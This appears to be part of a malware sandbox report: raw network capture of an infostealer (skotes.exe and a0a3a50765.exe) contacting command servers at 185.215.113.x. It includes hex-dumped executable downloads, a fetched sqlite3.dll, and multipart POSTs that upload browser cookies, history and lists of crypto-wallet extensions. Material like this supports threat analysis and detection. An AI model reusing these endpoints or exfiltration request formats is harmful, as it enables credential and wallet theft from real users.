Nov 23, 2024 15:22:40.896930933 CET	1236	IN	Data Raw: 59 57 5a 6a 61 48 77 78 66 44 42 38 4d 48 78 4e 57 55 74 4a 66 47 4a 74 61 57 74 77 5a 32 39 6b 63 47 74 6a 62 47 35 72 5a 32 31 75 63 48 42 6f 5a 57 68 6b 5a 32 4e 70 62 57 31 70 5a 47 56 6b 66 44 46 38 4d 48 77 77 66 46 4e 77 62 47 6c 72 61 58 Data Ascii: YWZjaHwxfDB8MHxNWUtJfGJtaWtwZ29kcGtjbG5rZ21ucHBoZWhkZ2NpbW1pZGVkfDF8MHwwfFNwbGlraXR5fGpoZmpmY2xlcGFjb2xkbWpta21kbG1nYW5mYWFsa2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2Z
Nov 23, 2024 15:22:40.896987915 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 23, 2024 15:22:40.902748108 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEB Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 4b 46 43 47 48 49 44 48 43 42 47 44 48 4a 4b 45 42 2d 2d 0d 0a Data Ascii: ------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------EHJKFCGHIDHCBGDHJKEBContent-Disposition: form-data; name="message"fplugins------EHJKFCGHIDHCBGDHJKEB--
Nov 23, 2024 15:22:41.464557886 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:41 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 23, 2024 15:22:41.535212994 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFHIJKJKFIDHJKFBGHC Host: 185.215.113.206 Content-Length: 5971 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 15:22:41.535271883 CET	5971	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 48 49 4a 4b 4a 4b 46 49 44 48 4a 4b 46 42 47 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 Data Ascii: ------ECFHIJKJKFIDHJKFBGHCContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------ECFHIJKJKFIDHJKFBGHCContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 23, 2024 15:22:42.610227108 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 15:22:42.882931948 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 15:22:43.329427004 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 23, 2024 15:22:43.329575062 CET	124	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 23, 2024 15:22:43.331793070 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49853	185.215.113.16	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:22:38.039262056 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 15:22:39.417063951 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:22:39 GMT Content-Type: application/octet-stream Content-Length: 922624 Last-Modified: Sat, 23 Nov 2024 13:19:52 GMT Connection: keep-alive ETag: "6741d678-e1400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 70 d6 41 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELpAg"dw@p<@@@d\|@u4@.text `.rdata@@.datalpH@.rsrc@@@.relocuv@B
Nov 23, 2024 15:22:39.417124033 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQ
Nov 23, 2024 15:22:39.417768002 CET	1236	IN	Data Raw: e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 00 68 21 24 44 00 e8 0d f0 01 00 59 Data Ascii: h$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\
Nov 23, 2024 15:22:39.417825937 CET	1236	IN	Data Raw: 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 00 00 8d 8f 7c fd ff ff e8 23 83 00 Data Ascii: OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY9404
Nov 23, 2024 15:22:39.417856932 CET	248	IN	Data Raw: 00 8b ce e8 ab b5 00 00 6a 40 56 e8 d0 e3 01 00 59 59 8b c6 5e c2 04 00 55 8b ec 53 8b d9 56 57 80 7b 0d 00 8b 7b 08 75 29 8b 45 08 8b cf 8b 30 e8 7e b5 00 00 89 37 c7 47 0c 01 00 00 00 8b 43 08 80 7b 0d 00 5f 5e 5b 75 0d c6 40 10 00 5d c2 08 00 Data Ascii: j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj8M<M@MPMfMMMXMDMHMLMUWrVj@YuON8w^_]
Nov 23, 2024 15:22:39.418706894 CET	1236	IN	Data Raw: 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 c9 e5 00 00 8a 46 30 88 47 30 8b c7 5f 5e 5d c2 04 00 33 d2 33 c0 89 11 40 89 41 0c 89 51 08 88 51 10 89 51 Data Ascii: uWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jAZ @uSV5I3WjXSG
Nov 23, 2024 15:22:39.418766022 CET	1236	IN	Data Raw: 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 00 8a 01 c3 83 39 00 0f 95 c0 c3 8b 41 08 83 78 04 00 eb f3 55 8b ec 53 56 8b 75 08 33 db 57 8a d3 8b 0e 8d Data Ascii: At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+fy4
Nov 23, 2024 15:22:39.418800116 CET	248	IN	Data Raw: 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 00 00 8b 45 d8 8b 48 04 8b 85 58 ff ff ff 89 45 bc e9 a6 fe ff ff 83 e8 21 0f 85 23 01 00 00 8b 41 04 6a 7f Data Ascii: ;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]ETpXEE
Nov 23, 2024 15:22:39.419542074 CET	1236	IN	Data Raw: 00 3b fb 0f 84 31 fd ff ff e9 85 04 04 00 ff 75 e8 ff 75 f4 ff 75 e4 ff 75 e0 53 52 ff 75 f0 33 db 53 e8 86 03 00 00 85 c0 78 02 8b f3 8d 4d 84 e8 1a 02 00 00 8d 8d 78 ff ff ff e8 0f 02 00 00 8d 8d 6c ff ff ff e8 04 02 00 00 8d 8d 60 ff ff ff e8 Data Ascii: ;1uuuuSRu3SxMxl`MTM_^[rU]AjYf9H}AjYf9HEE}xPG\|EIE
Nov 23, 2024 15:22:39.419903994 CET	1236	IN	Data Raw: 00 88 5c 24 19 88 5c 24 1a ff 15 28 c3 49 00 8d 44 24 13 50 ff 75 08 e8 c2 03 00 00 ff 15 18 c2 49 00 85 c0 0f 85 aa 00 04 00 a1 00 14 4d 00 85 c0 0f 84 b5 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 Data Ascii: \$\$(ID$PuIM3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M
Nov 23, 2024 15:22:39.537036896 CET	1236	IN	Data Raw: 4d e0 e8 6c a0 00 00 8b 75 ac 8d 4d f0 e8 22 7a 00 00 8d 45 f0 50 8d 4d 90 e8 39 01 00 00 8b 7d f0 57 68 58 ca 49 00 e8 cf 1a 02 00 59 59 85 c0 0f 84 8b fd 03 00 57 68 30 ca 49 00 e8 ba 1a 02 00 59 59 85 c0 0f 84 92 fd 03 00 57 68 08 ca 49 00 e8 Data Ascii: MluM"zEPM9}WhXIYYWh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49867	185.215.113.43	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:22:43.939666033 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 34 35 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008454001&unit=246122658369
Nov 23, 2024 15:22:45.201658010 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:22:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49874	185.215.113.16	80	7164	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:22:45.328735113 CET	54	OUT	GET /off/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 23, 2024 15:22:46.721309900 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 23 Nov 2024 14:22:46 GMT Content-Type: application/octet-stream Content-Length: 2805248 Last-Modified: Sat, 23 Nov 2024 13:20:19 GMT Connection: keep-alive ETag: "6741d693-2ace00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 56 38 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@+ `@ +V8+`Ui` @ @.rsrc`2@.idata 8@idwitinvl:@mjfbzujg +@.taggant@@+"@
Nov 23, 2024 15:22:46.721364021 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:22:46.721375942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:22:46.721436024 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:22:46.721446037 CET	896	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:22:46.721456051 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:22:46.721465111 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 23, 2024 15:22:46.721476078 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: [oS9SQWP{^%}hJ*.j)B(>GRx
Nov 23, 2024 15:22:46.721556902 CET	1236	IN	Data Raw: 39 f8 08 b6 67 0e 60 e9 9e ae e3 f4 78 42 c5 4f 3c b0 45 f0 f9 18 99 ea 22 a2 c3 68 0d a2 45 21 67 d7 d2 f7 c5 39 ec cb 7c bf 21 11 23 13 c4 fe 25 4b 38 0c 61 11 f2 1f 03 a0 9c f4 4c 80 f2 eb 81 14 e3 13 92 40 11 fa 01 ab b0 02 c6 c1 66 1a c3 58 Data Ascii: 9g`xBO<E"hE!g9\|!#%K8aL@fXh[.Q`RUj`@l+^kcRs!rVmPLz6\|XEPVw~R[VBmh<z_L<+QA^{n1A~>nNY<n.nyT8{>
Nov 23, 2024 15:22:46.721568108 CET	1236	IN	Data Raw: b7 1e 90 08 4e 71 ca 21 bc 21 14 4a 5e 2b 1d 61 b4 1b c6 77 5f 63 9f 18 10 05 e7 4c b0 0a d0 57 41 be 81 29 42 b8 4e 71 a5 d3 c2 66 46 81 22 e6 b1 1a c2 a4 e8 d1 ca 91 e4 aa 0f 05 af ba 15 a8 2f 62 35 98 b0 cb 26 4a 7f b1 2f e7 de d8 c0 49 53 39 Data Ascii: Nq!!J^+aw_cLWA)BNqfF"/b5&J/IS9;#= q462#Pd:[My3{]=g3%@yy,UipV AQBtf]%U`U$%\%i(>z5M%.}MQ{w=]9<MUC
Nov 23, 2024 15:22:46.842819929 CET	1236	IN	Data Raw: 36 05 ac cc ae 53 05 3b 49 f5 cb bc b8 cc 5e 7a fa b5 f3 fa 01 72 fd d3 99 b0 71 f2 2e 73 dd 3c 00 63 09 b4 3d 04 80 0f b3 e6 46 2a 26 18 f6 c1 00 64 db 51 9f 15 ca 3b 1d 6f a1 32 be 61 01 00 75 de 98 8a 6c ae d9 47 15 13 61 00 22 14 35 c2 5f 75 Data Ascii: 6S;I^zrq.s<c=F*&dQ;o2aulGa"5_u;Y-Ro^g=MY!m.j^IVD`D`-0Mz@I%^fm5S;cdyGOWP(V2`Sn]$\|zb.^h:Mq:-8nSD>e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49913	185.215.113.206	80	5292	C:\Users\user\AppData\Local\Temp\1008453001\a0a3a50765.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 15:22:52.885907888 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAKFCGIJKJKFHIDHIII Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 39 30 65 32 30 35 33 63 35 36 39 33 36 31 38 31 31 32 64 36 38 30 34 61 61 32 35 30 38 34 66 64 35 35 36 30 30 39 31 34 32 34 30 34 61 65 30 37 32 61 38 61 34 65 35 62 61 30 35 31 39 65 63 35 32 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 46 43 47 49 4a 4b 4a 4b 46 48 49 44 48 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------HDAKFCGIJKJKFHIDHIIIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------HDAKFCGIJKJKFHIDHIII--
Nov 23, 2024 15:22:54.760225058 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:22:54 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 15:22:54.889902115 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIJKKFHIEGCBGCAFIJ Host: 185.215.113.206 Content-Length: 1451 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 15:22:54.889944077 CET	1451	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 4b 4b 46 48 49 45 47 43 42 47 43 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 66 33 65 65 32 Data Ascii: ------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="token"2f3ee290e2053c5693618112d6804aa25084fd556009142404ae072a8a4e5ba0519ec521------AEHIJKKFHIEGCBGCAFIJContent-Disposition: form-data; name="file_name"aGlzdG9yeVxHb
